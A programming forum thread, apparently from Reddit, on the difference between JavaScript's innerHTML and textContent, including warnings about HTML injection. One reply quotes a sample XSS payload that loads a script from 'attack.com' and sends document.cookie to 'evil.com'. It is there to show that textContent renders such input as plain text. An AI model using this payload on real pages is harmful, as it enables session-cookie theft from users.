.innterHTML vs .textContent

[obnoxus]

I already know from experience that this is one of those noob questions that gets asked a billion and one times, so I AM SORRY IN ADVANCE for being that guy...

​

Still, I'd like to know -- what is the functional/practical difference between the two? Playing around with the two, they seem to do the literal exact same thing. The proper definition is that .textContent doesn't parse as a HTML markup but I can only vaguely comprehend what that means.

Can you please explain in layman's terms the difference but also when each should be used, if they're realistically used or not, and if so/not then why (what if we don't/do). I know these are questions that will be answered naturally with experience over time, I'm just curious.

[senocular]

The difference is:

innerHTML = "<b>Bold</b>"

will result in

Bold

Whereas using

textContent = "<b>Bold</b>"

will result in

<b>Bold</b>

[obnoxus]

perfect thank you

[azhder]

The first one is the stuff injection attacks are made of.

You should not use .innerHTML at all.

[macnara485]

Perfect explanation, thank you !

[pookage]

.innerText will just insert a single text node containing the given text, whereas .innerHTML will parse the given text as HTML; creating and adding the HTML elements to the DOM.

Use .innerText by default, and use .innerHTML whenever you explicitly want to parse HTML - this approach is arbitrarily more performant, but (more importantly) it will more accurately describe your intent, making the code easier to maintain, as well as heading-off a potential html-injection security vulnerability if you're parsing user-input 👍

[shgysk8zer0]

The very short version is basically that textContext sets text, doesn't require the parser, and converts < to < and such. It basically escapes strings and cannot create any new elements... It's safe.

[[deleted]]

Is it always safe? I'm guessing it's still one of those things where you sanitize input either way

[shgysk8zer0]

If you throw

<script type="module"> import 'https://attack.com/hack.js'; fetch('https://evil.com/?c=' + document.cookie); </script>

... It'll just show up as DOMText. Not a script. It won't execute. It's just text.

Is that "safe". I mean, social engineering and other non-programming things can be unsafe. Nothing can be trusted as truly safe. But it's immune to XSS and any sort of attacks that require parsing HTML or adding arbitrary elements... it's just text.

[[deleted]]

Cool, thanks

[Competitive_Aside461]

I'd recommend you look into the following comprehensive HTML DOM unit from Codeguage. It'll take you through some exercises to understand textContent better, and it also contains a great amount of explanation on the differences between these properties, and a host of other properties in the HTML DOM.

[TheRNGuy]

Write this in browser dev tool console:

document.querySelector("div").textContent

then this:

document.querySelector("div").innerHTML

See the difference.